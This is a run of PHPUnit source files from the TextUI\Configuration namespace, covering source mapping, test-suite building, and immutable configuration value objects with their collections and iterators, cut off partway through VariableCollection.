FileIteratorFacade; use SplObjectStorage; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SourceMapper { /** * @psalm-var SplObjectStorage> */ private static ?SplObjectStorage $files = null; /** * @psalm-return array */ public function map(Source $source): array { if (self::$files === null) { self::$files = new SplObjectStorage; } if (isset(self::$files[$source])) { return self::$files[$source]; } $files = []; foreach ($source->includeDirectories() as $directory) { foreach ((new FileIteratorFacade)->getFilesAsArray($directory->path(), $directory->suffix(), $directory->prefix()) as $file) { $file = realpath($file); if (!$file) { continue; } $files[$file] = true; } } foreach ($source->includeFiles() as $file) { $file = realpath($file->path()); if (!$file) { continue; } $files[$file] = true; } foreach ($source->excludeDirectories() as $directory) { foreach ((new FileIteratorFacade)->getFilesAsArray($directory->path(), $directory->suffix(), $directory->prefix()) as $file) { $file = realpath($file); if (!$file) { continue; } if (!isset($files[$file])) { continue; } unset($files[$file]); } } foreach ($source->excludeFiles() as $file) { $file = realpath($file->path()); if (!$file) { continue; } if (!isset($files[$file])) { continue; } unset($files[$file]); } self::$files[$source] = $files; return $files; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use const PHP_EOL; use function assert; use function count; use function is_dir; use function is_file; use function realpath; use function str_ends_with; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Exception; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\TestSuiteLoader; use PHPUnit\TextUI\RuntimeException; use PHPUnit\TextUI\TestDirectoryNotFoundException; use PHPUnit\TextUI\TestFileNotFoundException; use PHPUnit\TextUI\XmlConfiguration\TestSuiteMapper; use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteBuilder { /** * @throws \PHPUnit\Framework\Exception * @throws RuntimeException * @throws TestDirectoryNotFoundException * @throws TestFileNotFoundException */ public function build(Configuration $configuration): TestSuite { if ($configuration->hasCliArguments()) { $arguments = []; foreach ($configuration->cliArguments() as $cliArgument) { $argument = realpath($cliArgument); if (!$argument) { throw new TestFileNotFoundException($cliArgument); } $arguments[] = $argument; } if (count($arguments) === 1) { $testSuite = $this->testSuiteFromPath( $arguments[0], $configuration->testSuffixes(), ); } else { $testSuite = $this->testSuiteFromPathList( $arguments, $configuration->testSuffixes(), ); } } if (!isset($testSuite)) { $xmlConfigurationFile = $configuration->hasConfigurationFile() ? $configuration->configurationFile() : 'Root Test Suite'; assert(!empty($xmlConfigurationFile)); $testSuite = (new TestSuiteMapper)->map( $xmlConfigurationFile, $configuration->testSuite(), $configuration->includeTestSuite(), $configuration->excludeTestSuite(), ); } EventFacade::emitter()->testSuiteLoaded(\PHPUnit\Event\TestSuite\TestSuiteBuilder::from($testSuite)); return $testSuite; } /** * @psalm-param non-empty-string $path * @psalm-param list $suffixes * @psalm-param ?TestSuite $suite * * @throws \PHPUnit\Framework\Exception */ private function testSuiteFromPath(string $path, array $suffixes, ?TestSuite $suite = null): TestSuite { if (str_ends_with($path, '.phpt') && is_file($path)) { $suite = $suite ?: TestSuite::empty($path); $suite->addTestFile($path); return $suite; } if (is_dir($path)) { $files = (new FileIteratorFacade)->getFilesAsArray($path, $suffixes); $suite = $suite ?: TestSuite::empty('CLI Arguments'); $suite->addTestFiles($files); return $suite; } try { $testClass = (new TestSuiteLoader)->load($path); } catch (Exception $e) { print $e->getMessage() . PHP_EOL; exit(1); } if (!$suite) { return TestSuite::fromClassReflector($testClass); } $suite->addTestSuite($testClass); return $suite; } /** * @psalm-param list $paths * @psalm-param list $suffixes * * @throws \PHPUnit\Framework\Exception */ private function testSuiteFromPathList(array $paths, array $suffixes): TestSuite { $suite = TestSuite::empty('CLI Arguments'); foreach ($paths as $path) { $this->testSuiteFromPath($path, $suffixes, $suite); } return $suite; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Constant { private readonly string $name; private readonly bool|string $value; public function __construct(string $name, bool|string $value) { $this->name = $name; $this->value = $value; } public function name(): string { return $this->name; } public function value(): bool|string { return $this->value; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use Countable; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable * * @template-implements IteratorAggregate */ final class ConstantCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $constants; /** * @psalm-param list $constants */ public static function fromArray(array $constants): self { return new self(...$constants); } private function __construct(Constant ...$constants) { $this->constants = $constants; } /** * @psalm-return list */ public function asArray(): array { return $this->constants; } public function count(): int { return count($this->constants); } public function getIterator(): ConstantCollectionIterator { return new ConstantCollectionIterator($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class ConstantCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $constants; private int $position = 0; public function __construct(ConstantCollection $constants) { $this->constants = $constants->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->constants); } public function key(): int { return $this->position; } public function current(): Constant { return $this->constants[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Directory { private readonly string $path; public function __construct(string $path) { $this->path = $path; } public function path(): string { return $this->path; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use Countable; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable * * @template-implements IteratorAggregate */ final class DirectoryCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $directories; /** * @psalm-param list $directories */ public static function fromArray(array $directories): self { return new self(...$directories); } private function __construct(Directory ...$directories) { $this->directories = $directories; } /** * @psalm-return list */ public function asArray(): array { return $this->directories; } public function count(): int { return count($this->directories); } public function getIterator(): DirectoryCollectionIterator { return new DirectoryCollectionIterator($this); } public function isEmpty(): bool { return $this->count() === 0; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class DirectoryCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $directories; private int $position = 0; public function __construct(DirectoryCollection $directories) { $this->directories = $directories->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->directories); } public function key(): int { return $this->position; } public function current(): Directory { return $this->directories[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class ExtensionBootstrap { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var array */ private readonly array $parameters; /** * @psalm-param class-string $className * @psalm-param array $parameters */ public function __construct(string $className, array $parameters) { $this->className = $className; $this->parameters = $parameters; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return array */ public function parameters(): array { return $this->parameters; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use IteratorAggregate; /** * @template-implements IteratorAggregate * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class ExtensionBootstrapCollection implements IteratorAggregate { /** * @psalm-var list */ private readonly array $extensionBootstraps; /** * @psalm-param list $extensionBootstraps */ public static function fromArray(array $extensionBootstraps): self { return new self(...$extensionBootstraps); } private function __construct(ExtensionBootstrap ...$extensionBootstraps) { $this->extensionBootstraps = $extensionBootstraps; } /** * @psalm-return list */ public function asArray(): array { return $this->extensionBootstraps; } public function getIterator(): ExtensionBootstrapCollectionIterator { return new ExtensionBootstrapCollectionIterator($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class ExtensionBootstrapCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $extensionBootstraps; private int $position = 0; public function __construct(ExtensionBootstrapCollection $extensionBootstraps) { $this->extensionBootstraps = $extensionBootstraps->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->extensionBootstraps); } public function key(): int { return $this->position; } public function current(): ExtensionBootstrap { return $this->extensionBootstraps[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class File { /** * @psalm-var non-empty-string */ private readonly string $path; /** * @psalm-param non-empty-string $path */ public function __construct(string $path) { $this->path = $path; } /** * @psalm-return non-empty-string */ public function path(): string { return $this->path; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use Countable; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable * * @template-implements IteratorAggregate */ final class FileCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $files; /** * @psalm-param list $files */ public static function fromArray(array $files): self { return new self(...$files); } private function __construct(File ...$files) { $this->files = $files; } /** * @psalm-return list */ public function asArray(): array { return $this->files; } public function count(): int { return count($this->files); } public function notEmpty(): bool { return !empty($this->files); } public function getIterator(): FileCollectionIterator { return new FileCollectionIterator($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class FileCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $files; private int $position = 0; public function __construct(FileCollection $files) { $this->files = $files->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->files); } public function key(): int { return $this->position; } public function current(): File { return $this->files[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class FilterDirectory { /** * @psalm-var non-empty-string */ private readonly string $path; private readonly string $prefix; private readonly string $suffix; /** * @psalm-param non-empty-string $path */ public function __construct(string $path, string $prefix, string $suffix) { $this->path = $path; $this->prefix = $prefix; $this->suffix = $suffix; } /** * @psalm-return non-empty-string */ public function path(): string { return $this->path; } public function prefix(): string { return $this->prefix; } public function suffix(): string { return $this->suffix; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use Countable; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable * * @template-implements IteratorAggregate */ final class FilterDirectoryCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $directories; /** * @psalm-param list $directories */ public static function fromArray(array $directories): self { return new self(...$directories); } private function __construct(FilterDirectory ...$directories) { $this->directories = $directories; } /** * @psalm-return list */ public function asArray(): array { return $this->directories; } public function count(): int { return count($this->directories); } public function notEmpty(): bool { return !empty($this->directories); } public function getIterator(): FilterDirectoryCollectionIterator { return new FilterDirectoryCollectionIterator($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class FilterDirectoryCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $directories; private int $position = 0; public function __construct(FilterDirectoryCollection $directories) { $this->directories = $directories->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->directories); } public function key(): int { return $this->position; } public function current(): FilterDirectory { return $this->directories[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Group { private readonly string $name; public function __construct(string $name) { $this->name = $name; } public function name(): string { return $this->name; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable * * @template-implements IteratorAggregate */ final class GroupCollection implements IteratorAggregate { /** * @psalm-var list */ private readonly array $groups; /** * @psalm-param list $groups */ public static function fromArray(array $groups): self { return new self(...$groups); } private function __construct(Group ...$groups) { $this->groups = $groups; } /** * @psalm-return list */ public function asArray(): array { return $this->groups; } /** * @psalm-return list */ public function asArrayOfStrings(): array { $result = []; foreach ($this->groups as $group) { $result[] = $group->name(); } return $result; } public function isEmpty(): bool { return empty($this->groups); } public function getIterator(): GroupCollectionIterator { return new GroupCollectionIterator($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class GroupCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $groups; private int $position = 0; public function __construct(GroupCollection $groups) { $this->groups = $groups->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->groups); } public function key(): int { return $this->position; } public function current(): Group { return $this->groups[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class IniSetting { private readonly string $name; private readonly string $value; public function __construct(string $name, string $value) { $this->name = $name; $this->value = $value; } public function name(): string { return $this->name; } public function value(): string { return $this->value; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use Countable; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable * * @template-implements IteratorAggregate */ final class IniSettingCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $iniSettings; /** * @psalm-param list $iniSettings */ public static function fromArray(array $iniSettings): self { return new self(...$iniSettings); } private function __construct(IniSetting ...$iniSettings) { $this->iniSettings = $iniSettings; } /** * @psalm-return list */ public function asArray(): array { return $this->iniSettings; } public function count(): int { return count($this->iniSettings); } public function getIterator(): IniSettingCollectionIterator { return new IniSettingCollectionIterator($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class IniSettingCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $iniSettings; private int $position = 0; public function __construct(IniSettingCollection $iniSettings) { $this->iniSettings = $iniSettings->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->iniSettings); } public function key(): int { return $this->position; } public function current(): IniSetting { return $this->iniSettings[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Php { private readonly DirectoryCollection $includePaths; private readonly IniSettingCollection $iniSettings; private readonly ConstantCollection $constants; private readonly VariableCollection $globalVariables; private readonly VariableCollection $envVariables; private readonly VariableCollection $postVariables; private readonly VariableCollection $getVariables; private readonly VariableCollection $cookieVariables; private readonly VariableCollection $serverVariables; private readonly VariableCollection $filesVariables; private readonly VariableCollection $requestVariables; public function __construct(DirectoryCollection $includePaths, IniSettingCollection $iniSettings, ConstantCollection $constants, VariableCollection $globalVariables, VariableCollection $envVariables, VariableCollection $postVariables, VariableCollection $getVariables, VariableCollection $cookieVariables, VariableCollection $serverVariables, VariableCollection $filesVariables, VariableCollection $requestVariables) { $this->includePaths = $includePaths; $this->iniSettings = $iniSettings; $this->constants = $constants; $this->globalVariables = $globalVariables; $this->envVariables = $envVariables; $this->postVariables = $postVariables; $this->getVariables = $getVariables; $this->cookieVariables = $cookieVariables; $this->serverVariables = $serverVariables; $this->filesVariables = $filesVariables; $this->requestVariables = $requestVariables; } public function includePaths(): DirectoryCollection { return $this->includePaths; } public function iniSettings(): IniSettingCollection { return $this->iniSettings; } public function constants(): ConstantCollection { return $this->constants; } public function globalVariables(): VariableCollection { return $this->globalVariables; } public function envVariables(): VariableCollection { return $this->envVariables; } public function postVariables(): VariableCollection { return $this->postVariables; } public function getVariables(): VariableCollection { return $this->getVariables; } public function cookieVariables(): VariableCollection { return $this->cookieVariables; } public function serverVariables(): VariableCollection { return $this->serverVariables; } public function filesVariables(): VariableCollection { return $this->filesVariables; } public function requestVariables(): VariableCollection { return $this->requestVariables; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Source { /** * @psalm-var non-empty-string */ private readonly ?string $baseline; private readonly bool $ignoreBaseline; private readonly FilterDirectoryCollection $includeDirectories; private readonly FileCollection $includeFiles; private readonly FilterDirectoryCollection $excludeDirectories; private readonly FileCollection $excludeFiles; private readonly bool $restrictDeprecations; private readonly bool $restrictNotices; private readonly bool $restrictWarnings; private readonly bool $ignoreSuppressionOfDeprecations; private readonly bool $ignoreSuppressionOfPhpDeprecations; private readonly bool $ignoreSuppressionOfErrors; private readonly bool $ignoreSuppressionOfNotices; private readonly bool $ignoreSuppressionOfPhpNotices; private readonly bool $ignoreSuppressionOfWarnings; private readonly bool $ignoreSuppressionOfPhpWarnings; /** * @psalm-param non-empty-string $baseline */ public function __construct(?string $baseline, bool $ignoreBaseline, FilterDirectoryCollection $includeDirectories, FileCollection $includeFiles, FilterDirectoryCollection $excludeDirectories, FileCollection $excludeFiles, bool $restrictDeprecations, bool $restrictNotices, bool $restrictWarnings, bool $ignoreSuppressionOfDeprecations, bool $ignoreSuppressionOfPhpDeprecations, bool $ignoreSuppressionOfErrors, bool $ignoreSuppressionOfNotices, bool $ignoreSuppressionOfPhpNotices, bool $ignoreSuppressionOfWarnings, bool $ignoreSuppressionOfPhpWarnings) { $this->baseline = $baseline; $this->ignoreBaseline = $ignoreBaseline; $this->includeDirectories = $includeDirectories; $this->includeFiles = $includeFiles; $this->excludeDirectories = $excludeDirectories; $this->excludeFiles = $excludeFiles; $this->restrictDeprecations = $restrictDeprecations; $this->restrictNotices = $restrictNotices; $this->restrictWarnings = $restrictWarnings; $this->ignoreSuppressionOfDeprecations = $ignoreSuppressionOfDeprecations; $this->ignoreSuppressionOfPhpDeprecations = $ignoreSuppressionOfPhpDeprecations; $this->ignoreSuppressionOfErrors = $ignoreSuppressionOfErrors; $this->ignoreSuppressionOfNotices = $ignoreSuppressionOfNotices; $this->ignoreSuppressionOfPhpNotices = $ignoreSuppressionOfPhpNotices; $this->ignoreSuppressionOfWarnings = $ignoreSuppressionOfWarnings; $this->ignoreSuppressionOfPhpWarnings = $ignoreSuppressionOfPhpWarnings; } /** * @psalm-assert-if-true !null $this->baseline */ public function useBaseline(): bool { return $this->hasBaseline() && !$this->ignoreBaseline; } /** * @psalm-assert-if-true !null $this->baseline */ public function hasBaseline(): bool { return $this->baseline !== null; } /** * @throws NoBaselineException * * @psalm-return non-empty-string */ public function baseline(): string { if (!$this->hasBaseline()) { throw new NoBaselineException; } return $this->baseline; } public function includeDirectories(): FilterDirectoryCollection { return $this->includeDirectories; } public function includeFiles(): FileCollection { return $this->includeFiles; } public function excludeDirectories(): FilterDirectoryCollection { return $this->excludeDirectories; } public function excludeFiles(): FileCollection { return $this->excludeFiles; } public function notEmpty(): bool { return $this->includeDirectories->notEmpty() || $this->includeFiles->notEmpty(); } public function restrictDeprecations(): bool { return $this->restrictDeprecations; } public function restrictNotices(): bool { return $this->restrictNotices; } public function restrictWarnings(): bool { return $this->restrictWarnings; } public function ignoreSuppressionOfDeprecations(): bool { return $this->ignoreSuppressionOfDeprecations; } public function ignoreSuppressionOfPhpDeprecations(): bool { return $this->ignoreSuppressionOfPhpDeprecations; } public function ignoreSuppressionOfErrors(): bool { return $this->ignoreSuppressionOfErrors; } public function ignoreSuppressionOfNotices(): bool { return $this->ignoreSuppressionOfNotices; } public function ignoreSuppressionOfPhpNotices(): bool { return $this->ignoreSuppressionOfPhpNotices; } public function ignoreSuppressionOfWarnings(): bool { return $this->ignoreSuppressionOfWarnings; } public function ignoreSuppressionOfPhpWarnings(): bool { return $this->ignoreSuppressionOfPhpWarnings; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use PHPUnit\Util\VersionComparisonOperator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class TestDirectory { /** * @psalm-var non-empty-string */ private readonly string $path; private readonly string $prefix; private readonly string $suffix; private readonly string $phpVersion; private readonly VersionComparisonOperator $phpVersionOperator; /** * @psalm-param non-empty-string $path */ public function __construct(string $path, string $prefix, string $suffix, string $phpVersion, VersionComparisonOperator $phpVersionOperator) { $this->path = $path; $this->prefix = $prefix; $this->suffix = $suffix; $this->phpVersion = $phpVersion; $this->phpVersionOperator = $phpVersionOperator; } /** * @psalm-return non-empty-string */ public function path(): string { return $this->path; } public function prefix(): string { return $this->prefix; } public function suffix(): string { return $this->suffix; } public function phpVersion(): string { return $this->phpVersion; } public function phpVersionOperator(): VersionComparisonOperator { return $this->phpVersionOperator; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use Countable; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable * * @template-implements IteratorAggregate */ final class TestDirectoryCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $directories; /** * @psalm-param list $directories */ public static function fromArray(array $directories): self { return new self(...$directories); } private function __construct(TestDirectory ...$directories) { $this->directories = $directories; } /** * @psalm-return list */ public function asArray(): array { return $this->directories; } public function count(): int { return count($this->directories); } public function getIterator(): TestDirectoryCollectionIterator { return new TestDirectoryCollectionIterator($this); } public function isEmpty(): bool { return $this->count() === 0; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class TestDirectoryCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $directories; private int $position = 0; public function __construct(TestDirectoryCollection $directories) { $this->directories = $directories->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->directories); } public function key(): int { return $this->position; } public function current(): TestDirectory { return $this->directories[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use PHPUnit\Util\VersionComparisonOperator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class TestFile { private readonly string $path; private readonly string $phpVersion; private readonly VersionComparisonOperator $phpVersionOperator; public function __construct(string $path, string $phpVersion, VersionComparisonOperator $phpVersionOperator) { $this->path = $path; $this->phpVersion = $phpVersion; $this->phpVersionOperator = $phpVersionOperator; } public function path(): string { return $this->path; } public function phpVersion(): string { return $this->phpVersion; } public function phpVersionOperator(): VersionComparisonOperator { return $this->phpVersionOperator; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use Countable; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable * * @template-implements IteratorAggregate */ final class TestFileCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $files; /** * @psalm-param list $files */ public static function fromArray(array $files): self { return new self(...$files); } private function __construct(TestFile ...$files) { $this->files = $files; } /** * @psalm-return list */ public function asArray(): array { return $this->files; } public function count(): int { return count($this->files); } public function getIterator(): TestFileCollectionIterator { return new TestFileCollectionIterator($this); } public function isEmpty(): bool { return $this->count() === 0; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class TestFileCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $files; private int $position = 0; public function __construct(TestFileCollection $files) { $this->files = $files->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->files); } public function key(): int { return $this->position; } public function current(): TestFile { return $this->files[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class TestSuite { /** * @psalm-var non-empty-string */ private readonly string $name; private readonly TestDirectoryCollection $directories; private readonly TestFileCollection $files; private readonly FileCollection $exclude; /** * @psalm-param non-empty-string $name */ public function __construct(string $name, TestDirectoryCollection $directories, TestFileCollection $files, FileCollection $exclude) { $this->name = $name; $this->directories = $directories; $this->files = $files; $this->exclude = $exclude; } /** * @psalm-return non-empty-string */ public function name(): string { return $this->name; } public function directories(): TestDirectoryCollection { return $this->directories; } public function files(): TestFileCollection { return $this->files; } public function exclude(): FileCollection { return $this->exclude; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use Countable; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable * * @template-implements IteratorAggregate */ final class TestSuiteCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $testSuites; /** * @psalm-param list $testSuites */ public static function fromArray(array $testSuites): self { return new self(...$testSuites); } private function __construct(TestSuite ...$testSuites) { $this->testSuites = $testSuites; } /** * @psalm-return list */ public function asArray(): array { return $this->testSuites; } public function count(): int { return count($this->testSuites); } public function getIterator(): TestSuiteCollectionIterator { return new TestSuiteCollectionIterator($this); } public function isEmpty(): bool { return $this->count() === 0; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class TestSuiteCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $testSuites; private int $position = 0; public function __construct(TestSuiteCollection $testSuites) { $this->testSuites = $testSuites->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->testSuites); } public function key(): int { return $this->position; } public function current(): TestSuite { return $this->testSuites[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Variable { private readonly string $name; private readonly mixed $value; private readonly bool $force; public function __construct(string $name, mixed $value, bool $force) { $this->name = $name; $this->value = $value; $this->force = $force; } public function name(): string { return $this->name; } public function value(): mixed { return $this->value; } public function force(): bool { return $this->force; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use Countable; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable * * @template-implements IteratorAggregate */ final class VariableCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $variables; /** * @psalm-param list $variables */ public static function fromArray(array $variables): self { return new self(...$variables); } private function __construct(Variable ...$variables) { $this->variables = $variables; } /** * @psalm-return list */ public function asArray(): array { return $this->variables; } public function count(): int { return count($this->variables); } public function getIterator(): VariableCollectionIterator { return new 